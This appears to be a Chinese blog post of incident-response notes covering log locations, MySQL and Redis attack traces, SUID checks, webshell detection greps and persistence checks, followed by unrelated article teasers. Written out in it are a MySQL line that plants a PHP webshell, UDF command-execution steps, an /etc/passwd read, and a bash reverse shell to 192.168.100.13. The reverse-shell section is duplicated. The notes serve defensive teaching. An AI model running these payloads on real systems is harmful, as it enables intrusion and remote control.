当前位置: 首页 > news >正文

应急响应总结

应急响应

在这里插入图片描述

日志

windows

  • IIS 6.0 及更早版本

    C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\

  • IIS 7.0 及更高版本

    C:\inetpub\logs\LogFiles\W3SVC[SiteID]\

  • Apache HTTP Server

C:\Program Files (x86)\Apache Group\Apache2\logs\

或者

C:\Program Files\Apache Group\Apache2\logs\

linux

/var/log/syslog:记录系统的各种信息和错误。(Debian/Ubuntu)

/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。(CentOS/RHEL)

/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。(Debian/Ubuntu)

/var/log/secure:记录身份验证相关的信息,如登录和认证失败。(CentOS/RHEL)

密钥登录位置~/.ssh/authorized_keys

登录成功

Accepted

image-20240710230843286

登录错误特殊标记

Failed password for

image-20240710225107285

/var/log/kern.log:记录内核生成的日志信息。

/var/log/dmesg:记录系统启动时内核产生的消息。

/var/log/boot.log:记录系统启动过程中的消息。

/var/log/secure:记录安全相关的消息。

/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。

/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。

mysql

/var/log/mysql/

  • 检查日志文件:

查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。

查询日志:记录所有的查询,包括成功和失败的查询。

错误日志:记录MySQL服务器的错误、警告和通知。

  • 检查审计日志:

如果启用了审计插件,可以查看审计日志。MySQL Enterprise Edition包含一个审计插件,可以记录所有SQL查询。

  • 检查连接历史:

检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。

  • 检查特定的表和列:

查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等。

  • 利用 INTO OUTFILE 写入文件

INTO OUTFILE 是 MySQL 提供的一个功能,允许将查询结果写入服务器上的文件。如果攻击者能成功利用这个功能,他们可以将恶意代码写入 Web 服务器目录,生成一个 Web Shell。

示例:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。

  • 利用 LOAD_FILE 读取文件

LOAD_FILE 是 MySQL 提供的另一个功能,允许读取服务器上的文件内容。攻击者可以利用这个功能读取敏感文件,如系统密码文件 /etc/passwd。

示例:

SELECT LOAD_FILE('/etc/passwd');

这个命令会返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

  • 利用 UDF 执行系统命令

UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。

示例步骤:

上传恶意共享库 lib_mysqludf_sys.soMySQL 服务器的插件目录。

创建 UDF 函数:

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

使用 UDF 执行系统命令:

SELECT sys_exec('id > /tmp/output.txt');

这个命令将在 /tmp 目录下创建一个文件 output.txt,其中包含执行 id 命令的结果。

常用方法总结
INTO OUTFILE 写入文件:常用于创建 Web Shell 或写入恶意脚本。
LOAD_FILE 读取文件:常用于读取敏感文件,进行信息收集。
UDF 执行系统命令:常用于执行任意系统命令,获取更高权限。

show global variables like '%secure%'; 是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。

image-20240712153424893

变量分析

require_secure_transport

解释:此变量指定是否强制使用安全连接(如 SSL/TLS)来连接 MySQL 服务器。
值:
ON:强制所有连接使用 SSL/TLS。
OFF:不强制使用 SSL/TLS。
安全性:建议设置为 ON,以确保所有客户端连接使用加密传输,保护数据的传输安全。

secure_auth

解释:此变量控制是否要求客户端使用更安全的密码认证方式。
值:
ON:强制使用 mysql_native_password 或更强的身份验证插件。
OFF:允许使用旧的(不安全的)认证方式。
安全性:建议设置为 ON,以避免使用不安全的旧认证方式。

secure_file_priv

解释:此变量指定 MySQL 服务器可以访问的目录,以执行 LOAD DATA INFILE 和 SELECT INTO OUTFILE 语句。这一变量限制了文件操作的目录范围,防止文件被不当读取或写入。
值:
路径(如 /var/lib/mysql-files/):只允许在指定目录下进行文件操作。
空字符串:禁止所有文件操作。
NULL:没有限制。
安全性:建议设置为指定的安全目录或空字符串,以限制 MySQL 的文件操作范围,减少潜在的文件操作安全风险。

UDF

在进行 UDF (User Defined Function) 提权时,攻击者通常会将恶意共享库文件放在 MySQL 插件目录中。这个目录的默认路径通常是 /usr/lib/mysql/plugin/

攻击步骤

  1. 编写恶意 UDF 插件:攻击者编写一个 .so 文件,该文件包含恶意代码。

  2. 上传恶意插件:利用 MySQL 的文件操作功能将该文件上传到服务器上的某个路径。

    SELECT '' INTO OUTFILE '/path/to/your/udf.so';

  3. 创建 UDF 函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。

    CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';

  4. 执行命令:调用这个 UDF 函数执行系统命令。

    SELECT do_system('id');

检查和防护

  1. 检查 UDF 函数:查看是否存在异常的 UDF 函数。

    SELECT * FROM mysql.func;

    select sys_eval('whoami');

  2. 限制 secure_file_priv:将 secure_file_priv 设置为一个特定的路径,限制 MySQL 文件操作的范围。

    secure_file_priv = /var/lib/mysql-files

  3. 移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。

    DROP FUNCTION IF EXISTS do_system;

  4. 权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。

  5. 日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。

Redis

/var/log/redis.log

版本号查看命令:

redis-cli INFO | grep redis_version
redis-server --version
Redis 5.0.1

未授权访问 是最常见且可能性最大的漏洞

CONFIG SET动态地修改 Redis 的配置参数

SLAVEOF将当前 Redis 服务器设置为另一个 Redis 服务器的从节点

MODULE LOAD 加载模块

SUID

使用 find 命令查找系统中的所有 SUID 文件:find / -perm -u=s -type f 2>/dev/null

  • 检查可疑文件: 查看找到的 SUID 文件,寻找常见的提权工具(如 nmapvimfindawkperl 等)是否在列表中。这些工具如果被设置为 SUID,有可能被利用来执行任意命令。

  • 利用漏洞: 如果找到的 SUID 文件有已知的漏洞,可以利用这些漏洞来执行任意命令。例如,某些版本的 nmap 可以通过 --interactive 模式获得一个 shell,进而提权。

  • 不应拥有 SUID 位的程序: 如常见编辑器(vim)、网络工具(tcpdump)、脚本语言解释器(perl)等。如果这些程序被设置了 SUID 位,通常是异常情况,需要进一步检查。

  • 检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过 ls -l 命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。

grep

-a 将其视为文本文件

image-20240710225230900

sort 排序

  • -n 选项表示按数值进行排序。
  • -r 选项表示按降序排序。

uniq 删除重复的行

  • -c
  • 输入文件必须是经过排序的,因为 uniq 命令只检查相邻行之间的重复情况。

perl -e '...' 表示在命令行中直接运行 Perl 代码。

while($_=<>):逐行读取输入。

/for(.*?) from/:使用正则表达式匹配模式“for [username] from”,其中[username]是登录尝试的用户名。

print "$1\n"; 打印出正则表达式中捕获的第一个子匹配(即 $1),然后跟一个换行符 \n

awk '{print $11}'从每一行中提取第11个字段

cut每一行中提取指定的部分

  • -d - 指定字段的分隔符是-
  • -d ' '表示字段分隔符是空格
  • -f 1:指定要提取第一个字段

wc -l 命令用于统计行数

find 查找文件和目录

  • ./ 表示从当前目录开始搜索。

  • -type f 表示只查找文件(不包括目录)。

  • -name "*.php" 表示只查找以 .php 结尾的文件。

  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息。

  • -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。

xargs读取数据,传递给指定的命令。

netstat

-antlp

  • -a:显示所有连接和侦听端口。
  • -n:直接使用数字形式显示地址和端口,而不尝试将它们解析为主机名和服务名。
  • -l:仅显示正在侦听(listening)的连接。
  • -u:仅显示使用 UDP 协议的连接。
  • -p:显示建立相关链接的进程标识符和程序名称。
  • -t:仅显示使用 TCP 协议的连接。

字段解释

  • 1.**Proto:**协议(Protocol)

显示协议类型,常见的有 tcpudp

  • 2.**Recv-Q:**接收队列(Receive Queue)

显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。

  • 3.**Send-Q:**发送队列(Send Queue)

显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。

  • 4.**Local Address:**本地地址

显示本地端的 IP 地址和端口号。例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。

  • 5.**Foreign Address:**远程地址

显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.112345 端口。

  • 6.**State:**状态

显示连接的状态。常见状态有:

LISTEN:正在监听连接。

ESTABLISHED:已建立连接。

CLOSE_WAIT:等待关闭连接。

TIME_WAIT:等待足够的时间以确保远程主机收到关闭请求。

  • 7.**PID/Program name:**进程 ID 和程序名

显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。

webshell

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

  • WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
eval(base64_decode('encoded_string'));
  • WebShell可能会包含文件操作函数,用于读取、写入或修改文件:

PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()

ASP: FileSystemObject

  • WebShell可能会包含网络操作函数,用于与远程服务器通信:

PHP: fsockopen(), curl_exec(), file_get_contents('http://...')

ASP: WinHttp.WinHttpRequest

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" //对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" 

找免杀马思路,看日志

文件权限

文件权限由三部分组成:所有者(user),组(group),和其他人(others)

  • 4 代表读 (r)
  • 2 代表写 (w)
  • 1 代表执行 (x)

所以7代表读、写、执行 (rwx)

挖矿

检查运行的进程: ps aux

检查系统日志: /var/log/syslog /var/log/auth.log /var/log/messages

检查计划任务cat /etc/crontab

不死马

  • 启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改 rc.localcrontab

rc.local 是一个在 Unix-like 系统中常见的启动脚本文件

systemctl list-unit-files --type=service列出系统中所有服务单元文件

ls /etc/init.d/在系统启动和关闭时,init 系统会运行这些脚本来启动或停止服务。

/usr/bin可执行程序

反弹shell解析

bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
    ll解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。

相关文章:

应急响应总结

应急响应 日志 windows IIS 6.0 及更早版本&#xff1a; C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\ IIS 7.0 及更高版本&#xff1a; C:\inetpub\logs\LogFiles\W3SVC[SiteID]\ Apache HTTP Server C:\Program Files (x86)\Apache Group\Apache2\logs\ 或者 C:\Prog…...

一些资源(●ˇ∀ˇ●)

GPT Kimi.ai - 帮你看更大的世界 (moonshot.cn) 文心一言 (baidu.com) 搜索AI伙伴 (baidu.com) 讯飞星火大模型-AI大语言模型-星火大模型-科大讯飞 (xfyun.cn) 秘塔AI搜索 (metaso.cn) GitHub打不开 下载Watt Toolkit...

WGCLOUD的ping设备监测可以导入excel数据吗

可以的 WGCLOUD的v3.5.3版本&#xff0c;已经支持导入excel数据&#xff0c;如下说明 数通设备PING监测使用说明 - WGCLOUD...

vue 画二维码及长按保存

需求 想要做如下图的二维码带文字&#xff0c;且能够长按保存 前期准备 一个canvas安装qrcode&#xff08;命令&#xff1a;npm i qrcode&#xff09; 画二维码及文字 初始化画布 <template><div><canvas ref"canvas" width"300" he…...

IDEA中Git常用操作及Git存储原理

Git简介与使用 Intro Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. Git是一款分布式版本控制系统&#xff08;VSC&#xff09;&#xff0c;是团队合作开发…...

人工智能算法工程师(中级)课程4-sklearn机器学习之回归问题与代码详解

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能算法工程师(中级)课程4-sklearn机器学习之回归问题与代码详解。回归分析是统计学和机器学习中的一种重要方法&#xff0c;用于研究因变量和自变量之间的关系。在机器学习中&#xff0c;回归算法被广泛应用于…...

智能制造热点词汇科普篇——工业微服务

随着互联网技术的不断发展&#xff0c;近十年来&#xff0c;微服务也逐渐走进人们的视线中来。何为微服务&#xff1f;让我们先来看看百度百科上的定义&#xff1a;微服务&#xff08;或称微服务架构&#xff09;是一种云原生架构方法&#xff0c;在单个应用中包含众多松散耦合…...

FastGPT+OneAI接入网络模型

文章目录 FastGPT连接OneAI接入网络模型1.准备工作2.开始部署2.1下载 docker-compose.yml2.2修改docker-compose.yml里的参数 3.打开FastGPT添加模型3.1打开OneAPI3.2接入网络模型3.3重启服务 FastGPT连接OneAI接入网络模型 1.准备工作 本文档参考FastGPT的官方文档 主机ip接…...

Java核心篇之JVM探秘:内存模型与管理初探

系列文章目录 第一章 Java核心篇之JVM探秘&#xff1a;内存模型与管理初探 第二章 Java核心篇之JVM探秘&#xff1a;对象创建与内存分配机制 第三章 Java核心篇之JVM探秘&#xff1a;垃圾回收算法与垃圾收集器 第四章 Java核心篇之JVM调优实战&#xff1a;Arthas工具使用及…...

未来互联网的新篇章:深度解析Facebook的技术与战略

随着科技的飞速发展和社会的不断变迁&#xff0c;互联网作为全球信息交流的重要平台&#xff0c;正经历着前所未有的变革和演进。作为全球最大的社交媒体平台之一&#xff0c;Facebook不仅是人们沟通、分享和互动的重要场所&#xff0c;更是科技创新和数字化进程的推动者。本文…...

MySQL卸载 - Windows版

MySQL卸载 - Windows版 1. 停止MySQL服务 winR 打开运行&#xff0c;输入 services.msc 点击 “确定” 调出系统服务。 2. 卸载MySQL相关组件 打开控制面板 —> 卸载程序 —> 卸载MySQL相关所有组件 3. 删除MySQL安装目录 4. 删除MySQL数据目录 数据存放目录是在 …...

Java核心篇之JVM探秘:对象创建与内存分配机制

系列文章目录 第一章 Java核心篇之JVM探秘&#xff1a;内存模型与管理初探 第二章 Java核心篇之JVM探秘&#xff1a;对象创建与内存分配机制 第三章 Java核心篇之JVM探秘&#xff1a;垃圾回收算法与垃圾收集器 第四章 Java核心篇之JVM调优实战&#xff1a;Arthas工具使用及…...

Nuxt框架中内置组件详解及使用指南(五)

title: Nuxt框架中内置组件详解及使用指南&#xff08;五&#xff09; date: 2024/7/10 updated: 2024/7/10 author: cmdragon excerpt: 摘要&#xff1a;本文详细介绍了Nuxt框架中和组件的使用方法与配置&#xff0c;包括安装、基本用法、属性详解、示例代码以及高级功能如…...

python开发遇到的坑汇总

文章目录 1.点击导入操作&#xff0c;所有配置全没了 1.点击导入操作&#xff0c;所有配置全没了 在 PyCharm 中&#xff0c;如果你遇到了点击导入&#xff08;import&#xff09;操作后&#xff0c;项目似乎进行了重新安装或重新部署的情况&#xff0c;这通常不是由简单的导入…...

【线性表,线性表中的顺序表和链表】

目录 1、线性表的定义和基本操作1.1、线性表的定义1.2、线性表的基本操作 2、顺序表和链表的比较2.1、顺序表2.1.1、顺序表的定义和特点2.1.2、顺序表的实现&#xff08;1&#xff09;顺序表的静态分配&#xff1a;&#xff08;2&#xff09;顺序表的动态分配 2.1.3、顺序表的基…...

46 mysql 客户端拿不到具体的错误信息

前言 这是最近碰到的一个问题 同样的一个 环境的问题, 在正常的 mysql 环境会返回 具体的错误信息, 然后 在我的另外一个环境里面 只能返回一些 unknown error 之类的 十分抽象的环境 然后 我们这里 来看一下 具体的情况 我们这里从 错误的环境 往前推导 来查看 并解决这个…...

Java语言程序设计——篇三(2)

循环结构 概述1️⃣while循环例题讲解 2️⃣do-while循环例题讲解 &#x1f6a9;while循环与do-while循环区别3️⃣for循环例题讲解 4️⃣循环的嵌套&#x1f3ee;例题讲解 概述 ⭐️Java语言提供了4种循环结构&#xff1a; (1) while循环 (2) do-while循环 (3) for循环 (4)增…...

如何实现一个分布式锁

如何实现一个分布式锁 本篇内容主要介绍如何使用 Java 语言实现一个注解式的分布式锁&#xff0c;主要是通过注解AOP 环绕通知来实现。 1. 锁注解 我们首先写一个锁的注解 /*** 分布式锁注解*/ Retention(RetentionPolicy.RUNTIME) Target({ElementType.METHOD}) Documente…...

Ajax从零到实战

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…...

编程参考 - 在C++移动构造函数声明中使用noexcept

在 C 中&#xff0c;noexcept 是用于表示函数不抛出异常的指定符。它既可用于常规函数&#xff0c;也可用于特殊成员函数&#xff0c;包括构造函数和析构函数。使用 noexcept 可以帮助编译器进行优化&#xff0c;提高代码的安全性和正确性。 In C, noexcept is a specifier use…...

Vue2/Vue3实现全局/局部添加防篡改水印的效果。删除元素无效!更改元素属性无效!支持图片、元素、视频等等。

水印目的 版权保护:水印可以在图片、文档或视频中嵌入作者、品牌或版权所有者的信息,以防止未经授权的复制、传播或使用。当其他人使用带有水印的内容时,可以追溯到原始作者或版权所有者,从而加强版权保护。 身份识别:水印可以用作作者或品牌的标识符,使观众能够轻松识…...

GuLi商城-商品服务-API-属性分组-获取分类属性分组

获取分类属性分组接口开发 操作的是这张表 造数据: 后台代码: @Override public PageUtils queryPage(Map<String, Object> params, Long catelogId) {//select * from pms_attr_group where catelog_id=? and (attr_group_id=key or attr_group_name like %key%)Stri…...

安全测试理论

安全测试理论 什么是安全测试&#xff1f; 安全测试&#xff1a;发现系统安全隐患的过程安全测试与传统测试区别 传统测试&#xff1a;发现bug为目的 安全测试&#xff1a;发现系统安全隐患什么是渗透测试 渗透测试&#xff1a;已成功入侵系统为目标的的攻击过程渗透测试与安全…...

序列化和反序列化

面试题&#xff1a;对序列化和反序列化的理解&#xff1f; 我们之所以需要序列化&#xff0c;它核心的目的是为了解决网络通信之间的对象传输的问题&#xff0c;也就是说&#xff0c;如何把当前JVM进程的一个对象&#xff0c;通过跨网络传输到另一个JVM进程里面&#xff0c;而序…...

OpenCV中使用Canny算法在图像中查找边缘

操作系统&#xff1a;ubuntu22.04OpenCV版本&#xff1a;OpenCV4.9IDE:Visual Studio Code编程语言&#xff1a;C11 算法描述 Canny算法是一种广泛应用于计算机视觉和图像处理领域中的边缘检测算法。它由John F. Canny在1986年提出&#xff0c;旨在寻找给定噪声条件下的最佳边…...

基于springboot+vue+uniapp的机电公司管理信息系统

开发语言&#xff1a;Java框架&#xff1a;springbootuniappJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#…...

电子期刊制作实战教程:从零开始制作

​随着互联网的普及&#xff0c;电子期刊已经成为了信息传递的重要载体。它以便捷、环保、互动性强等特点受到了越来越多人的青睐。那么&#xff0c;如何从零开始制作一份吸引人的电子期刊呢&#xff1f; 1.要制作电子杂志,首先需要选择一款适合自己的软件。比如FLBOOK在线制作…...

11.FreeRTOS_事件组

事件组概述 事件组的作用&#xff1a; 可以等待某一个事件发生可以等待若干个事件发生可以等待若干个事件中的某一个事件发生 同步点是事件组的另一个使用方式&#xff0c;它可以让多个任务进行阻塞等待&#xff0c;当全部事件完成后&#xff0c;再一起解除任务的阻塞。常常…...

Python爬虫-爬取三国演义文本数据-bs4

bs4进行数据解析 -数据解析的原理: - 1.标签定位 -2.提取标签、标签属性中存储的数据值 - bs4数据解析的原理: - 1.实例化一个BeautifulSoup对象,并且将页面源码数据加载到该对象中 -2.通过调用BeautifulSoup对象中相关的属性或者方法进行标签定位和数据提取 - 环境安装: - pi…...

html5——列表、表格

目录 列表 无序列表 有序列表 自定义列表 表格 基本结构 示例 表格的跨列 表格的跨行 列表 无序列表 <ul>【声明无序列表】 <li>河间驴肉火烧</li>【声明列表项】 <li>唐山棋子烧饼</li> <li>邯郸豆沫</li> <l…...